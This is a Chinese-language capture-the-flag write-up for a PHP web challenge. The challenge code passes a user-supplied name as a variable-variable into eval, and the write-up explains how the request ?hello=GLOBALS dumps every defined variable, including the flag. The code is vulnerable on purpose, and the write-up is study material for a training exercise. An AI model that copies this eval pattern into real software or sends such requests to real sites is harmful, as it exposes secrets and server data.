简介 :
分值:10分 类型:Misc Web已解答
题目:
flag就在某六位变量中。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
分析 :
$$
php中 $ 是可以叠加使用的 , 例如 :
$a = "b";
$b = "Hello world!";
echo $$a;
就可以打印出 b 的值
可以这样来看 $$a
${${a}} = ${b} = "Hello world!"
这也是 php 的一个比较奇特的性质
超全局变量 :
[PHP超全局变量](http://www.w3school.com.cn/php/php_superglobals.asp)
[PHP超全局变量](http://www.php.net/manual/zh/language.variables.superglobals.php)
[PHP超级全局变量、魔术变量和魔术函数](http://www.cnblogs.com/wangxin-king/p/5669336.html)
我们可以通过发送一个这样的get请求来打印超全局变量 : $GLOBALS
http://xxxxxx.ctf.game/?hello=GLOBALS
那么在执行这一句 : eval("var_dump($$a);"); 的时候
其实就是在执行 :
eval("var_dump(${${a}});");
eval("var_dump(${GLOBALS});");
这样就会打印出当前定义的所有变量 , 也包括 include 的文件中的变量 , flag 也存在在这些变量中